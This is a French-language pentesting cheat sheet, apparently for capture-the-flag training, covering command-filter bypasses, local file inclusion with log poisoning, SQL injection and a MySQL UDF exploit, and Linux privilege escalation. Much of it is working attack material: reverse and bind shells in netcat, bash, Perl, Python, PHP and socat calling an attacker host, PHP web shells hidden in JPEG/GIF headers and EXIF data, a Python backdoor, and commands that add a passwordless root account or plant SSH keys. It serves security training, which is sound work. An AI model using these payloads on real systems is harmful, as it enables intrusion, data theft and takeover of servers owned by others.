Les développeurs peuvent avoir mis des filtres pour empécher l'execution de commande. Par exemple retirer les espaces. Néanmoins, même sans espaces, il est toujours possible de lancer lancer des commandes:

cat</etc/passwd
{cat,/etc/passwd}
X=$'cat\x20/etc/passwd'&&$X

Si un filtre recherche une liste de commandes, il est toujours possible de le contourner: simple quote, double quote, backslash et slash

c'a't /etc/passwd
cat /etc/passwd
c\at /etc/passwd
who``ami

Et si un nom de fichier est filtré, il est possible de multiplier les / Filtre sur cat et /etc/passwd

c\at /etc////////passwd

Inclusion de Fichier Local (LFI)

LFI

De nombreux langages de programmations, comme le php, sont capable de lire des fichiers et les interpréter pour générer des pages HTML dynamiques.
Cette fonction peut être détournée si elle prend en entrée une variable modifiable par l'utilisateur.

Par exemple:
L'url http://10.10.10.11/index.php?page=login.php est envoyée au serveur.
A la réception de cette requête, le serveur va inclure le fichier 'login.php', et l'éxécuter pour générer la page de login.

Nous allons remplacer 'login.php' par le nom d'un autre fichier, par exemple '/etc/passwd'.

http://10.10.10.11/index.php?page=/etc/password

Le serveur web apache fonctionne généralement dans le répertoire /var/www/html.
Si nous précisons page=/etc/passwd, le serveur risque de chercher le fichier /var/www/html/etc/passwd.
Nous utilisons alors /../ pour remonter d'un répertoire.

/var/www/html/../etc/passwd => /var/www/etc/passwd.
/var/www/html/../../etc/passwd => /var/etc/passwd.

Nous utilisons une série de ../../../../../ devant le nom du fichier pour forcer le serveur à redescendre au niveau de la racine des répertoires.
/var/www/html/../../../../../../../ vaut /, quel que soit le nombre de ../

http://10.10.10.11?page=../../../../../etc/passwd

Une LFI permet de lire TOUS les fichiers de la machine accessible au compte du serveur web.

Le serveur extrait le paramètre 'page' de la requète http://10.10.10.11/index.php?page=login, et ajoute l'extension '.php' avant d'inclure le fichier.

http://10.10.10.11/index.php?page=/etc/password va essayer d'ouvrir sans success /etc/password.php.

Sur les version de php antérieures à 5.3.4, l'ajout d'un null byte à la fin de notre paramètre va signifier la fin de la chaine de caractère, et conduit à ignorer l'extension '.php'.

http://10.10.10.11/index.php?page=/etc/password%00
<   %3C %253C
>   %3E %253E
«   %22 %2522
‘   %27 %2527
/   %2F %252F
.   %2E %252E
=   %3D %253D
–   %2D %252D
:   %3A %253A

Les développeurs ayant conscience des risques de LFI peuvent ajouter des fonctions qui vont filtrer les entrées.
Ils vont supprimer les ../ et les / dans le nom du fichier
Ce genre de filtre s'appelle un Waf : Web Application Filter.

Il est possible de contourner ces filtres de plusieures manières:

Le langage php offre la possibilité de passer les fichiers dans des filtres avant de les ouvrir. Il est ainsi possible d'encoder un fichier en base64 avant de l'ouvrir.

http://10.10.10.11/index.php?page=php://filter/read=convert.base64-encode/resource=login.php 
http://10.10.10.11/index.php?page=php://filter/convert.base64-encode/resource=login.php 

Il ne reste plus qu'à décoder pour obtenir le code source du fichier php.

Le langage php permet de traiter le contenu de la requête HTTP comme un fichier. Il est ainsi possible de lire et faire executer le contenu brut des données en POST avec php://input.

curl -X POST -d 'test=<? system ("id"); ?>' http://pwnlab/?page=php://input

Ne fonctionne que si l'option allow_url_include = On est active dans la config php. Cette est désactivée par défaut.

Pour injecter une payload Php dans le fichier de logs d'un serveur web, il suffit de faire une requête de type HTTP GET contenant du code php dans l'url.
Pour un serveur ftp ou ssh, injecter la payload dans le login. Nous utilisons ensuite une LFI sur le fichier de log pour déclencher l'execution de la payload.

Fichiers de logs usuels:
Apache
/var/log/apache/access.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/httpd/error_log

Nginx
/var/log/nginx/access.log
/var/log/nginx/error.log

Ssh
/var/log/sshd.log

Il est possible de vérifier l'emplacement des fichiers de logs en lisant les fichiers de config.
Fichier de config de Nginx: /etc/nginx/nginx.conf
Entrée du fichier de config : access_log /spool/logs/nginx-access.log

SQLi

Injecter des commandes SQL dans les paramêtres pour réécrire la requête.

SELECT * FROM user WHERE login='[USER]' and password='[PASSWORD]';

Méthode : fermer la ', élargir la requête avec OR 1=1, ajouter des valeurs avec UNION, commenter la fin de la requête avec # ou -- -

Valeur des paramètres envoyés :
USER=admin' OR 1=1 -- -
PASSWORD=ferrari

Requète SQL obtenue:
SELECT * FROM user WHERE login='admin' OR 1=1 -- - and password='ferrari';

Envoyer les aparmètres avec Curl:

curl http://target/login.pgp?login=admin' OR 1=1 -- -&password=ferrari

Connect to a remote mysql database:

mysql -u admin --host=10.10.12.10 : without password
mysql -u admin --host=10.10.12.10 -padmin : with password

Usefull commands:

SELECT @@version;
SELECT user();
SHOW Databases;
USE database;
SHOW tables;
SELECT * from table;

Vous êtes devant une page web contenant un formulaire de login/register/search,... Saisissez des fermetures de string ' ou " pour générer une erreur.
Injecter un sleep et remarquer un retard de la réponse.

admin' and sleep(5) and '1'='1
admin" and sleep(5) and "1"="1

Un polyglot est une séquence capable de s'adapter à de nombreux scénario

/*$(sleep 5)`sleep 5``*/sleep(5)#'/*$(sleep 5)`sleep 5` #*/||sleep(5)||'"||sleep(5)||"`

Généralement les développeurs prennent la première entrée. Mais parfois ils vérifient qu'il n'y en a bien qu'une seule.

admin' or 1=1 LIMIT 1 -- -

Les développeurs filtrent parfois de caractères ou des mot:

Space => Tab %09, Newline %A0, /**/
AND   => && %26%26
OR    => ||

Quand la requête sert à afficher des entrées (ex: liste d'objets), on peut ajouter des valeurs avec un UNION.
Il faut commencer par identifier le nombre d'entrées qu'attend le select

SELECT id, name, desc, price FROM stock WHERE name=[NAME]

Methode 1: ORDER BY

SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 1-- - : Ok
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 2-- - : Ok
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 3-- - : Ok
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 4-- - : Ok
SELECT id, name, desc, price FROM stock WHERE name='mouse' order by 5-- - : Erreur
=> 4 entrées

Methode 2: SELECT

SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1 : Erreur
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2 : Erreur
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2,3 : Erreur
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2,3,4 : Ok
=> 4 entrées
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2,table_name,table_name FROM information_schema.tables; -- -  
SELECT id, name, desc, price FROM stock WHERE name='mouse' UNION SELECT 1,2,column_name,column_name FROM information_schema.columns WHERE  table_name='users'; -- -
UNION SELECT concat(name,':',pass),1 FROM users; -- -

SQLi sur les paramètres d'un GET

$ sqlmap -u 'http://10.10.10.129/sqli/example1.php?name=root' --dbs --banner

SQLi sur les paramètres d'un POST.
Intercepter la requète avec Burp, et la sauver dans un fichier login.txt

$ sqlmap -r login.txt --dbs --banner
  -p name : forcer le paramètre à tester

Lister les tables, puis dumper une table

$ sqlmap -r login.txt -D jetadmin --tables
$ sqlmap -r login.txt -D jetadmin -T users --dump

Compiler une librairie UDF contenant le fonction sys_exec()
L'uploader sur le serveur. La déclarer. La fonction sys_exec() permet de lancer des commandes.

# Tested with : mysql 5.5.60-0+deb8u1
# Create a 'User Defined Function' calling C function 'system'
# Use pre-compiled 32 or 64 depending on target.
# Copy file to /tmp
create database exploittest;
use exploittest;
create table bob(line blob);
insert into bob values(load_file('/tmp/lib_mysqludf_sys.so'));
select * from bob into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so
create function sys_exec returns int soname 'lib_mysqludf_sys.so';
select sys_exec('nc 11.0.0.21 4444 -e /bin/bash');

select sys_exec('/bin/sh');
after bash access, 'bash –p' or 'sudo su'

Web Shell

Vous avez trouvé une requête web qui permet d'executer des commandes sur le serveur, ou vous avez reussi à trouver comment uploader un fichier qui peut être exécuté.
Votre objectif maintenant est d'obtenir un shell sur la machine, ce qui permettra une exploitation confortable.
Vous allez utiliser les outils installés sur le serveur (netcat, bash, php, python, perl, ...) pour ouvrir un shell sur le serveur et le connecter à votre shell.

Netcat, est le couteau suisse des connections entre serveurs.
Il peut se mettre en écoute, se connecter et lancer des shells.

Les anciennes versions possédaient l'option -e ou -c qui permet de lancer un shell. Les version récentes ne possèdent plus cette option pour des raisons de sécurité
Sur Kali on trouve une version 1.10 en :

/usr/bin/nc -h
    -e shell commands : program to execute
    -c shell commands : program to execute
    -l                : listen mode
    -v                : verbose
    -p port           : local port number

Mettre un nc en écoute sur la kali

nc -lvp 4444

Lancer un reverse shell sur le serveur, qui lance un shell, vient se connecter sur le netcat en écoute, et donne accès au shell.

nc -e /bin/sh IPKALI 4444

Pour utiliser un reverse shell il faut connaitre l'IP publique de sa Kali.

Mettre un nc en écoute sur la kali

nc -lvp 4444

Lancer un reverse shell sur le serveur, qui lance un shell, vient se connecter sur le netcat en écoute, et donne accès au shell.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IPKALI 4444 >/tmp/f

Le shell obtenu avec nc est basique. Ce n'est pas un tty.
Certaines commandes comme su vont refuser de fonctionner.
Pour upgrader notre shell, utiliser python pour avoir un shell de type tty:

python -c 'import pty; pty.spawn("/bin/bash")'

Le shell obtenu avec nc est basique. La completion avec le Tab, l'historique avec les flèches ne sont pas gérés.

Passer le nc en arrière plan avec:

Ctr-Z

Puis demander au shell actuel de passer les codes des touches brutes au shell distant, et repasser sur le netcat (foreground)

stty raw -echo
fg

Attention: Tenter cette manip dans un browser va juste freezer le shell. Le browser modifie lui aussi les codes des touches. Ca ne marche que dans une VM.

Tant que votre nc est connecté, vous bloquez un thread du serveur web. En fonction de la configuration du serveur, il peut avoir 6, 16, 32 threads... Dont autant de nc en parallèles avant saturation. Pour libérer le serveur pour les copains: Dans le nc connecté, choisissez un second port et lancez un second bindshell netcat en arrière plan:

binshell: 
nohup bash -c 'while true; do nc -e /bin/bash -lvp 4445; done;' &

reverse shell: 
nohup bash -c 'bash -i >& /dev/tcp/IPKALI/4444 0>&1' &

La commande nohup va détacher le process nc du shell en cours. Faites un Ctrl-C pour couper la connection nc, la page avec votre webshell se libère. Un autre utilisateur peut se connecter. Lancer un nouveau nc pour vous connecter à ce nouveau bindshell.

Un bind shell est utile quand notre Kali est derrière un NAT. Ce shell est fragile, un scan de port va le déclencher et le fermer. Lance un shell, ouvre une socket TCP en écoute sur le port 4444, et donne accès au shell au premier qui se connecte.

nc -e /bin/sh -lvp 4444

Se connecte au netcat distant pour avoir accès au shell.

nc iptarget 4444

Launch a bind shel on the target host

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash 2>&1|nc -lp 4444 >/tmp/f

Then connect to it

nc victim 4444

Socat est un nc sous stéroides. Il permet une authentification, un chiffrement des communications et un forward de ports.
On le trouve rarement sur les serveurs, il faut l'uploader.
Mettre un socat en écoute

socat file:`tty`,raw,echo=0 TCP-L:4444

Lancer un reverse shell avec un socat

$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4444

Automatiser l'upload et le reverse shell:

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242

Pwncat est un nc sous stéroides.

https://github.com/cytopia/pwncat

Netcat et python ne sont pas installés sur le serveur. Il est toujours possible de lancer un reverse shell en bash.
Mettre un nc en écoute votre host:

nc -lvp 4444

Lancer le reverse shell à partir de votre cible:

bash -i >& /dev/tcp/IPKALI/4444 0>&1

Mettre un nc en écoute sur la kali

nc -lvp 4444
perl -e 'use Socket;$i="IPKALI";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Mettre un nc en écoute sur la kali

nc -lvp 4444
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((IPKALI,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(/bin/bash)'

Mettre un nc en écoute sur la kali

nc -lvp 4444
php -r '$sock=fsockopen("IPKALI",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

If you can upload a php file to the web server, the file below will allow you to run shell commands:

<?php echo 'Shell: ';system($_GET['cmd']); ?>

Run 'id' on the server

curl http://IPSERVER/cmd.php?cmd=id

Upload the file

<pre><?php echo 'Shell: ';system($_GET['cmd']); ?></pre>

Run 'id' on the server

curl http://IPSERVER/cmd.php?cmd=id

Parfois certain caractères comme les ; les & ou les | sont filtrés. Un encodage base64 permet de s'en sortir.
Dans un shell encoder en base64:

$ printf 'system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IPKALI 4444 >/tmp/f");' | base64

Code PHP du reverse shell

eval(base64_decode('c3lzdGVtKCJyEtxxxxxxxxxEkgNDQ0NCA+L3RtcC9mIik7='));
import sys,socket,time,re,subprocess,os

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 
sock.bind(('0.0.0.0',4444))
sock.listen(5)
conn,addr = sock.accept()
conn.send('== YOLO Backdoor ==\n\n>')
while 1:         
    data = conn.recv(1024)
    cmd = data.strip().split(' ')
    if cmd[0] == 'cd':
        os.chdir(cmd[1])
    elif cmd[0] in ('exit'):
        break
    else:
        conn.send(subprocess.check_output(cmd)+'\n>') 
conn.close()
sock.shutdown(socket.SHUT_RDWR)
sock.close()

Si vous pouvez upload un fichier jpg, il est possible d'y cacher un webshell.
Un fichier jpeg est identifié par ses premiers octets qui ont la valeur : ffd8ffe0
Pour générer un fichier qui sera identifié comme ayant une entête Jpeg valide:

printf "\xff\xd8\xff\xe0<?php system('id'); ?>" > webshell.jpg

Ce fichier sera reconnu comme un fichier jpg

$ file webshell.jpg 
webshell.jpg: JPEG image data

Un fichier gif est identifié par ses premiers octets qui ont la valeur : GIF89a;
Pour générer un fichier qui sera identifié comme ayant une entête gif valide:

printf "GIF89a;<?php system('id'); ?>" > webshell.gif

Ce fichier sera reconnu comme un fichier gif

$ file webshell.gif 
webshell.gif: GIF image data

Un fichier image contient de nombreuses informations : date de prise de vue, localisation, type d'appareil photo...
Nous pouvons injecter du code php dans ces données.

exiftool -Comment='<?php system('id'); ?>' webshell.jpg

A lire pour en savoir plus:
Liste de webshells

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

Webshell en pure php: php-reverse-shell.php

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

Yop Webshell: yopwebshell.php
Yolo Webshell: yolowebshell.php

Transferts de fichiers

Dès l'instant ou vous arrivez à éxécuter des commandes sur votre cible, vous avez besoin de transférer des fichiers textes ou binaires.
Vous allez certainement downloader des fichiers pour les analyser, ou uploader des outils tel des backdoors ou des scripts d'élévation de privilèges.

Un encodage en base64 permet de faire des copier/coller de fichiers sans se soucier du binaire ou des retours à la ligne

cat file | base64
printf 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' | base64 -d > file

Préparez la dernière commande dans votre terminal, elle peut être assez longue, puis copiez/collez là dans votre cible.

Pour transférer un fichier sans se soucier de sa taille, lancer un serveur HTTP et faire un wget, curl

python -m SimpleHTTPServer 8000
php -S 0.0.0.0:8000 

Attention, ce nouveau serveur permet à tout le monde de lire l'intégralité de son système de fichier.

Si vous avez un accès ssh

scp file.txt remote_username@10.10.0.2:/remote/directory
scp -i id_rsa file.txt remote_username@10.10.0.2:/remote/directory
scp -P 2222 file.txt remote_username@10.10.0.2:/remote/directory
scp remote_username@10.10.0.2:/remote/file.txt /local/directory

Elevation de Privilege - Unix

Nous venons tout juste d'obtenir l'accès en shell à un serveur. Nous allons commencer par faire un inventaire exhaustif de ce qui est accessible au compte sur lequel nous pouvons executer des commandes.

  • Identifier l'OS, sa version, les patchs de sécurité manquants
  • Recenser les outils disponibles : netcat, python, perl..
  • Lire tous les fichiers de config, temporaires, backup pour trouver des login/password.
  • Utiliser les éventuels droits sudo du compte.
  • Trouver une commande avec SetUID bit.
  • Trouver un process qui tourne en tache de fond avec des droits root et modifier ses inputs.
  • Trouver un exploit kernel. Cette dernière option, radicale car elle peut planter la machine, est trés efficace sur les vieux serveurs...

Sur ses premières machines, il est préférable de faire ces énumérations en lançant les commandes manuellement pour s'approprier les options et les outputs. Une fois à l'aise, et sachant ce que l'on chercher, il est possible d'utiliser des scripts qui font ces énumérations pour nous.

Fichiers contenant des informations

Rechercher les fichiers .txt ou .cfg, appartanant aux autres comptes, avec des droits en lecture trop ouverts.

find /home -readable -type f  \( -iname \*.txt -o -iname \*.cfg \) 2>/dev/null
find /home -E . -regex '.*\.(txt|cfg)' 2>/dev/null

Le fichier de config d'une appli wordpress s'appelle:

wp-config.php

Pour le chercher:

find /var -name wp-config.php 2>/dev/null

Ce fichier contient les login/password pour se connecter à la base de donnée. Il est possible de dumper la base de donnée et récupérer les login et hashes des comptes wordpress.

Le fichier de config peut porter deux noms:

httpd.conf
apache2.conf

On le trouve généralement dans un des répertoires:

/etc/apache2/httpd.conf
/etc/apache2/apache2.conf
/etc/httpd/httpd.conf
/etc/httpd/conf/httpd.conf

Le fichier de config porte le nom:

server.xml

Les mots de passe des utilisateurs se trouvent dans:

tomcat-users.xml

On trouve généralement ces fichiers dans un des répertoires:

TOMCAT-HOME/conf/
/usr/local/tomcat/conf/

Sudo

Sudo permet de lancer des commandes en tant qu'un autre utilisateur.

Pour connaitre les droits sudo de votre compte, il faut lancer la commande sudo -l et saisir votre mot de passe:

sudo -l
L'utilisateur user1 peut utiliser les commandes suivantes sur target-host :
    (ALL) NOPASSWD: /usr/bin/find
    user2 NOPASSWD: /usr/bin/python3 /home/user2/run.py

Il est alors possible de lancer des commandes en tant que user2 avec le flag -u user2

sudo /usr/bin/find  
sudo -u user2 /usr/bin/python3  /home/user2/run.py 

Vous pouvez lancer find avec les droits d'un compte root, et run.py avec les droits du compte user2.

Si l'option NOPASSWD n'est pas définie, la commande sudo demande le mot de passe du compte courant. Si vous être entré par un webshell, ou une connection ssh avec clef privée, il faudra se débrouiller pour connaitre le mot de passe.

SetUID bit

Identifier les process possédant un setUID bit

find / -perm -4000 -exec ls -al {} \; 2>/dev/null

Que faire avec un binaire possédant un setUID bit ?

- Lancer un shell
- Lire un flag
- Copier un fichier
- Ajouter une ligne à un fichier : /etc/sudoers, /etc/passwd, ~/.ssh/authorized_keys
- ...

De nombreux process permettent de lancer un shell. Idéal s'ils sont en sudo ou avec un setUID bit.

- find
- nmap
- vi
- less
- awk
- tee
...

Reference: https://gtfobins.github.io/

Vous disposez des droits pour modifier /etc/passwd. Par exemple tee avec un sudo en root. Ajoutez une entrée avec un UID de 0, et un mot de passe vide.

echo myroot::0:0:::/bin/bash | sudo tee -a /etc/passwd 
su myroot 

Si une commande avec les droits root permet d'ajouter une ligne: ex: tee

echo 'ssh-rsa AAAAB3[...]CHN2CpQ== yolo@yolospacehacker.com' | sudo tee -a /home/victim/.ssh/authorized_keys
ssh -i id_rsa victim@iptarget

Exploitation de process

ps

Identifier les process lancés par root

ps eaxf

Une fois un process identifé, regarder s'il est possible de modifier les fichiers lus par le process, ou si le process a des vulnérabilités connues.

Identifier les taches lancées par cron.

cat /etc/cron.d/*
cat /var/spool/cron/*
crontab -l
cat /etc/crontab
cat /etc/cron.(time)
systemctl list-timers

With the ps command, you may miss a small process, launched every 2 minutes, which will process a batch file in 5 seconds before disappearing. The pspy tool monitors the processes for you.

https://github.com/DominicBreuker/pspy

Kernel exploit

Linux Distib version:

cat /etc/issue
Ubuntu 18.04.3 LTS 

Linux kernel version: 5.0.0-37-generic

uname -a
Linux yoloctf-server 5.0.0-37-generic #40~18.04.1-Ubuntu SMP Thu Nov 14 12:06:39 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Once the kernel version is known, it is possible to search for a kernel exploit
https://github.com/SecWiki/linux-kernel-exploits
Never run an unknown binary !
Get the sources, read them, understand what they do, compile yourself, and only then run them... Knowing that there is a high risk of crashing the server.

Enumeration scripts

Some well known script automate the enumeration process.
Test them and find the one that suits you best.

linPeass : https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
LinEnum.sh : https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
linuxprivchecker.py : https://github.com/sleventyeleven/linuxprivchecker
unixprivesc.sh : https://github.com/pentestmonkey/unix-privesc-check
lse.sh : https://github.com/diego-treitos/linux-smart-enumeration

Acteurs

L'Open Web Application Security Project (OWASP) est une communauté, fondée en 2001, qui produit et met gratuitement à disposition des articles, méthodologies, outils...
Elle publie tous les ans le Top 10 des failles de sécurités Web.
Elle publie l'OWASP Testing Guide : un guide des best practices depentesting.
Elle publie l'OWASP Development Guide: un guide visant à écrire du code sans failles de sécurité.
Site officiel: https://www.owasp.org

Mitre est l'organisation, financée par la Défense des Etats unis, qui a mis en place et maintient le référencement des CVE: Common Vulnerabilities and Exposures)
https://en.wikipedia.org/wiki/Mitre_Corporation

CVE

Une CVE, pour Common Vulnerabilities and Exposures, est une référence pour une faille de sécurité.
https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures

Encode



L'encodage base64 permet de transmettre des données en n'utilisant que des caractères affichables (lettres, chiffres, quelques signes...)


L'encodage URL/Pourcent permet d'utiliser des caractères spéciaux dans les urls tels que les apostrophes, les espaces...)



Video

Quelques video interessantes. IP Une adresse IP c'est comme un numéro de téléphone.

  • Reconnaitre une adresse IP

  • Trouver l'IP de sa machine

  • Reconnaitre une adresse IP privée

  • Reconnaitre un masque de sous-réseau 255.255.255.0 ou /24

  • Connaitre le principe de résolution DNS

  • Configuration d'un DNS dans /etc/hosts, demander à un serveur, dns FAI, DNS Google 8.8.8.8, DNS libre ?

  • Reconnaitre une adresse MAC

DNS

PORTS

DHCP

MAC

STEGANOGRAPHIE

SQLi